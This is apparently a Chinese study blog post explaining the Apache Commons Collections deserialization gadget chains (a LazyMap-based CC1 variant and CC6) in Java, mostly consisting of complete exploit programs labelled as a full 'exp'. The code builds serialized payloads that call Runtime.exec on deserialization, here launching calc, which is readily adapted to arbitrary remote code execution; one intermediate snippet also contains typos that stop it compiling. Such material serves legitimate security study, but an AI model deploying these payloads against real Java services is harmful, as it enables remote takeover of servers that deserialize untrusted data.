java反序列化Commons-Collection篇02-CC6链

前情提要:

文章学习来自b站白日梦组长视频讲解,如有错误,请各位大佬提出orz!!!

环境配置

pom.xml

cc1补充:

继承cc1,只不过用的不是transformerMap方法了,用的是LazyMap中一个get方法,它同样也调用了transformer方法

接下来就是找谁调用了get方法,然后在AnnotationInvocationHandler类中的有一个参数memberValues是可以控制的,就是我们传入的map

然后发现在AnnotationInvocationHandler类中的invoke方法中memberValues调用了get方法

然后动态代理的调用处理器类就是AnnotationInvocationHandler,然后其中的invoke是只要一个代理的任意方法调用就会执行这个invoke方法
所以就必须要生成一个动态代理,然后这个动态代理带调用的是AnnotationInvocationHandler这个调用处理器类
然后这个代理是需要实现一个接口的,所以这时候我们需要找一个接受那个接口的东西,然后这里面找到的还是AnnotationInvocationHandler,因为他可以接受map,所以只需要让动态代理实现这个map就好了
前面说了invoke是只要调用任意方法就可以执行,但是需要执行到我们的memberValues.get这里就需要通过前面的两个if

  • 第一个if是说如果调用equals方法,就会return,所以不能用equals方法
  • 第二个if是说如果你调用的是一个有参方法,就会抛出异常,所以也不能用有参方法

这时候刚好前面发现的那个memberValues.entrySet()方法就是一个无参方法

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.springframework.core.env.Profiles;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1_memory {
    public static void main(String[] args)throws Exception{
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object.class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

//        HashMap<Object,Object> map=new HashMap<>();
//        map.put("value","111");
//        Map<Object,Object> transformedMap=TransformedMap.decorate(map,null,chainedTransformer);
//
//        Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor annotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
//        annotationInvocationHandlerConstructor.setAccessible(true);
//        Object o=annotationInvocationHandlerConstructor.newInstance();
//        serialize(o);
//        unserialize("ser.bin");


        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazyMap=LazyMap.decorate(map,chainedTransformer);

        Class c =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor=c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler h=(InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);

        Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
        //serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj)throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }


}

注意:

这个方法的话对jdk的版本要求比较高,需要在jdk1.8.0.65 之前才可以

区别是:

jdk1.8.0.65之后对AnnotationInvocationHandler做了一些处理,就是AnnotationInvocationHandler里的readobject代码里的membervalue参数不可控了

cc6

不受限于jdk的版本,要求低一些
这里是对改进之后的cc1做了一个处理
这里是找到了TiedMapEntry类里面的hashcode方法,里面使用getvalue方法,而getvalue方法又调用了map.get,这样就和上面的get连在一起了,到时候就可以改成lazymap.get

然后hashmap.readobject中的hash是对key进行put,然后走到hashcode

Transformer[] transformers=new Transformer[]{
  new ConstantTransformer(Runtime.class),
  new InvokerTransformer("getMethod",new Class[]{},new Object[]{})
  new InvokerTransformer("invoke",new Class[]{},new Object[]{})
  new InvokrTransformer("exec",new Class[]{String.calss},new Object[]{"calc"})
}
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers)

HashMap<Object,Object>map=new HashMap<>();
Map<Object,Object>lazyMap=LazyMap.decorate(map,new ConstantTransformer(1))

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa");

HashMap<Object,Object> map2=new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazyMap.remove("aaa";)

Class c=LazyMap.class;
Filed factoryFiled=c.getDeclaredField("factory");
factoryFiled.setAccessible(true);
factoryFiled.set(lazyMap,chainedTransformer)

这里解释两个问题,

第一个:就是为什么要反射获取lazymap类:

原因是map2.put就会调用hash进而调用hashcode然后直接把这条链走完,所以我们需要把链子后面断掉,这里反射修改的就是lazymap的factory方法,把传参的key变成一个没用的东西,这样链子就中断了,

第二个是为什么要在put之后把key删掉?

这是因为如果不删的话,链子到lazymap的get方法这里会给key放回去,这样就导致反序列化时候就已经有key了,这样就导致反序列化的时候当执行的lazymap.get方法的时候,就会导致过不了那个if(如下图),从而导致不会执行transformer方法,所以反序列化就不能执行

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };

cc6完整exp

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args)throws Exception{

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazyMap= LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbbb");

        lazyMap.remove("aaa");

        Class c=LazyMap.class;
        Field factoryField=c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        //serialize(map2);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj)throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
}

posted @ 2025-02-28 13:43  Zephyr07  阅读(14)  评论(0)    收藏  举报